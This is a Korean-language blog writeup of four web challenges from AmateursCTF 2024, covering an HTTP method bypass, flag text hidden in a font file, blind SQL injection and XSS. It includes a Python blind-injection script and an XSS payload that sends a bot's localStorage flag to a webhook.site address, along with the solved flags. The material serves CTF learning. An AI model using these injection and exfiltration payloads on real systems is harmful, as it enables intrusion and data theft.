Avatar
Interest: Web Exploitation.
Activities: DreamHack, Baekjoon
I occasionally blogs about web security, tricks, and development.

AmateursCTF 2024

CTFtime: https://ctftime.org/event/2226

Official URL: https://ctf.amateurs.team/

Team Score

대회 당시 웹 문제는 총 3문제를 풀었고, 나머지 웹 문제들은 대회 이후 다시 풀어보고 Writeup을 작성했다.

Writeup

denied

856 solves / 53 points

const express = require('express')
const app = express()
const port = 3000

app.get('/', (req, res) => {
  if (req.method == "GET") return res.send("Bad!");
  res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}")
  res.send('Winner!')
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

GET 요청 외에 다른 요청을 보내면 플래그를 획득할 수 있다.

$ curl -X OPTIONS -i http://denied.amt.rs/

HTTP/1.1 200 OK
Allow: GET,HEAD
Content-Length: 8
Content-Type: text/html; charset=utf-8
Date: Wed, 10 Apr 2024 03:38:32 GMT
Etag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
Server: Caddy
X-Powered-By: Express

GET,HEAD

OPTIONS 요청을 통해 서버가 어떤 요청을 지원하는지 알 수 있다.

Exploit Code

curl -X HEAD -i http://denied.amt.rs/ 

HTTP/1.1 200 OK
Content-Length: 7
Content-Type: text/html; charset=utf-8
Date: Fri, 05 Apr 2024 15:49:06 GMT
Etag: W/"7-skdQAtrqJAsgWjDuibJaiRXqV44"
Server: Caddy
Set-Cookie: flag=amateursCTF%7Bs0_m%40ny_0ptions...%7D; Path=/
X-Powered-By: Express

Flag

amateursCTF{s0_m@ny_0ptions…}

agile-rut

311 solves / 173 points

세상이 날 억까한 문제 :skull::skull::skull:

홈페이지에 접속하면 agile-rut.otf 폰트가 적용된 것을 볼 수 있다.

a.m.a.t.e.u.r.s.C.T.F.braceleft.zero.k.underscore.b.u.t.underscore.one.underscore.d.o.n.t.underscore.l.i.k.e.underscore.t.h.e.underscore.j.b.m.o.n.zero.underscore.equal.equal.equal.braceright

agile-rut.otf 파일의 바이너리를 보니 위와 같은 문구가 있어 키워드를 문자로 표현하니 아래와 같이 플래그가 나왔다.

amateursCTF{0k_but_1dont_like_the_jbmon0===}

제출을 했더니 답이 틀렸다고 한다… (?) 결국 대회 끝날 때까지 못풀고 공식 풀이를 봤더니..
모든 문자를 소문자로 써야한다고 CTF가 아닌 ctf로 변경한게 답이라고 한다…

Flag Format이 분명 amateursCTF{}라고 되어있었는데 … 어이가 없는 문제였다.

Flag

amateursctf{0k_but_1dont_like_the_jbmon0===}

one-shot

282 solves / 184 points

@app.route("/search", methods=["POST"])
def search():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0]
    if searched:
        return "you've used your shot."
    
    db.execute(f"UPDATE table_{id} SET searched = 1")

    query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'")
    return f"""
    <h2>Your results:</h2>
    <ul>
    {"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])}
    </ul>
    <h3>Ready to make your guess?</h3>
    <form action="/guess" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="password" placehoder="Password">
        <input type="submit" value="Guess">
    </form>
"""

query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'") 쿼리문에서 SQL Injection 취약점이 발생한다. UPDATE table_{id} SET searched = 1 쿼리에 의해 같은 id 값으로는 /search 경로에 접근이 한 번만 가능하다.

하지만, 접근 횟수 문제는 /new_session을 통해 새로운 id 값을 받아주면 된다. Injection Query에서 table_{id} 값을 지정해주면 패스워드를 알아낼 수 있다.

Exploit Code

import requests 

url = "http://one-shot.amt.rs"

s = requests.Session() 

chars = "1234567890abcdef"
pw = ""
for i in range(32):
    for c in chars: 
        r = s.post(f"{url}/new_session") 
        id = r.text[r.text.find("id")+24:r.text.find("id")+40]
        qry = f"' AND (SELECT password FROM table_2f78e058112a0008 WHERE password LIKE '{pw + c}%') AND password LIKE '%"
        print(qry)
        r = s.post(f"{url}/search", 
                    data={
                        "id": f"{id}",
                        "query": qry
                    })
        if "*" in r.text:
            pw += c
            print(pw)

# FLAG 
url = "http://one-shot.amt.rs"
r = requests.post(f"{url}/guess", 
                  data={
                      "id":"2f78e058112a0008",
                      "password": pw
                  })
print(r.text)

Flag

amateursCTF{go_union_select_a_life}

sculpture

95 solves / 302 points

// bot powered by the redpwn admin bot ofc
['sculpture', {
    name: 'sculpture',
    timeout: 10000,
    handler: async (url, ctx) => {
      const page = await ctx.newPage()
      console.log(await page.browser().version());
      await page.goto("https://amateurs-ctf-2024-sculpture-challenge.pages.dev/", { timeout: 3000, waitUntil: 'domcontentloaded' })
      await sleep(1000);
      await page.evaluate(() => {
        localStorage.setItem("flag", "amateursCTF{fak3_flag}")
      })
      await sleep(1000);
      console.log("going to " + url)
      await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
      await sleep(1000)
    },
    urlRegex: /^https:\/\/amateurs-ctf-2024-sculpture-challenge\.pages\.dev/,
}]

봇이 가진 localStorage 값을 읽으면 플래그를 획득할 수 있다.

function outf(text) { 
    var mypre = document.getElementById("output"); 
    mypre.innerHTML = mypre.innerHTML + text; 
} 
function builtinRead(x) {
    if (Sk.builtinFiles === undefined || Sk.builtinFiles["files"][x] === undefined)
            throw "File not found: '" + x + "'";
    return Sk.builtinFiles["files"][x];
}

// Here's everything you need to run a python program in skulpt
// grab the code from your textarea
// get a reference to your pre element for output
// configure the output function
// call Sk.importMainWithBody()
function runit() { 
   var prog = document.getElementById("yourcode").value; 
   var mypre = document.getElementById("output"); 
   mypre.innerHTML = ''; 
   Sk.pre = "output";
   Sk.configure({output:outf, read:builtinRead}); 
   (Sk.TurtleGraphics || (Sk.TurtleGraphics = {})).target = 'mycanvas';
   var myPromise = Sk.misceval.asyncToPromise(function() {
       return Sk.importMainWithBody("<stdin>", false, prog, true);
   });
   myPromise.then(function(mod) {
       console.log('success');
   },
       function(err) {
       console.log(err.toString());
   });
}

document.addEventListener("DOMContentLoaded",function(ev){
    document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code"));
    runit();
});

위 코드는 파이썬 코드를 입력하면 결과 값을 출력한다. outf()에서 innerHTML을 사용하고 어떠한 필터링이 걸려있지 않다.
즉, XSS 취약점이 존재하여 localStorage.getItem('flag') 값을 웹훅으로 넘기면 된다.

XSS 취약점을 통해 alert(1)이 잘 출력되는 것을 확인할 수 있다.

Exploit Code

# https://amateurs-ctf-2024-sculpture-challenge.pages.dev/?code=cHJpbnQoIjxpbWcgc3JjPXggb25lcnJvcj1sb2NhdGlvbi5ocmVmPWBodHRwczovL3dlYmhvb2suc2l0ZS80Zjg1OGVhMS03YjFkLTRlNjAtYmUxNi01Mzk0YTZhYTY3M2EvP2M9YCtsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZmxhZycpPiIp
print("<img src=x onerror=location.href=`https://webhook.site/4f858ea1-7b1d-4e60-be16-5394a6aa673a/?c=`+localStorage.getItem('flag')>")

Flag

amateursCTF{i_l0v3_wh3n_y0u_can_imp0rt_xss_v3ct0r}